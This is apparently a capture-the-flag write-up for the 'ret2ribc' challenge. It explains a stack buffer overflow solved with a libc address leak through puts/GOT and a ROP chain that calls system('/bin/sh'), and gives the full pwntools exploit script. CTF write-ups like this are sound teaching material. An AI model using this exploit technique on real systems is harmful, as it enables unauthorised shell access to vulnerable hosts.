ret2ribc

problem

Announcing ret2ribc, the world’s newest and most secure bone database!

see ret2ribc file

solution

we can see in the file that it is vulnerable to a buffer overflow attack. this one was extremely difficult for me because i had never done a buffer overflow attack before and knew little about how to do one

if you want a good tutorial, see here for a tutorial on how to do one

i also used this article to figure out how to bypass ASLR by leaking the address of libc

we run checksec on the file:

[*] '/tmp/ret2ribc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

if we run ldd multiple times, we can see that ASLR is enabled on our system because the libc.so.6 address changes:

quasar@quasar098:/tmp$ ldd ret2ribc
        linux-vdso.so.1 (0x00007ffd768c8000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa4ec0d8000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fa4ec311000)
quasar@quasar098:/tmp$ ldd ret2ribc
        linux-vdso.so.1 (0x00007fff9fdf1000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f843afc6000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f843b1ff000)
quasar@quasar098:/tmp$ ldd ret2ribc
        linux-vdso.so.1 (0x00007ffed0355000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3a8684b000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f3a86a84000)

i will assume that ASLR is enabled the remote machine as well

firstly, we are going to be using pwntools

#!/usr/bin/python3

from pwn import *

locally = True

if locally:
    p = process("./ret2ribc")
    gdb_p = gdb.attach(p, "c")
else:
    p = remote("eth007.me", 42092)

now we have a process that we can use

next, we will initialize the other things

libc = ELF("./libc.so.6")
elf = ELF("./ret2ribc")
rop = ROP("./ret2ribc")

in order to pop a shell, we need to overflow the buffer to overwrite the next values in the stack

our payload will look something like

[padding + address to pop rdi gadget + address to string /bin/sh in libc + address to ret gadget + address to system function in libc]

to figure out the padding, we use gdb and a cyclic pattern (e.g. aaaaaaabaaacaaadaaaeaaafaaagaaah) to figure out how many characters to pad

the way that it works is that when the padding gets taken off the stack, the top of the stack will contain the address to the pop rdi gadget, which will make the program execute the pop rdi instruction. however, the next value on the top of the stack after the pop rdi gadget address is the address to the string /bin/sh, which means that the value /bin/sh will get popped into rdi (register for arg #1 in linux systems)

the execution is then brought to the ret instruction which pops the address to the system function from libc into rip, so it calls system("/bin/sh")

however, because ASLR is enabled, we don’t know the address to the functions and strings in libc, because they keep changing, so we have to leak the addres of libc.

p.recvuntil(b"e:")

leak_libc_payload = b"A" * 88 + p64(pop_rdi_address) + p64(puts_got_address)
leak_libc_payload += p64(puts_plt_address) + p64(main_function_address)

p.sendline(leak_libc_payload)

p.recvline()
p.recvline()
leaked_libc_address = int.from_bytes(p.recvline()[:-1], 'little')
leaked_libc_address -= libc.symbols["puts"]
print(f"found leaked libc addr: {leaked_libc_address}")
libc.address = leaked_libc_address

we can overflow the buffer and then resume execution at the pop_rdi address, and then at the address to puts in the GOT table.

the GOT table contains address of functions used in the code that belong to shared libraries. we have access to puts, so we will use that.

by doing this, we know the address of the function puts in libc. we have a copy of libc.so.6 (just get it from your local machine), so we know the offset from puts to the start of the libc.

it also restarts the program from main.

p.recvuntil(b"e:")

libc_bin_sh_address = next(libc.search(b"/bin/sh\x00"))
libc_system_address = libc.symbols["system"]
ret_gadget_address = 0x401130

final_payload = b"A" * 88 + p64(pop_rdi_address) + p64(libc_bin_sh_address)
final_payload += p64(ret_gadget_address) + p64(libc_system_address)

p.sendline(final_payload)

p.interactive()

now, we execute our final payload because we know the address of the /bin/sh string and the system function.

the flag is ictf{shells_are_basically_bones_right?}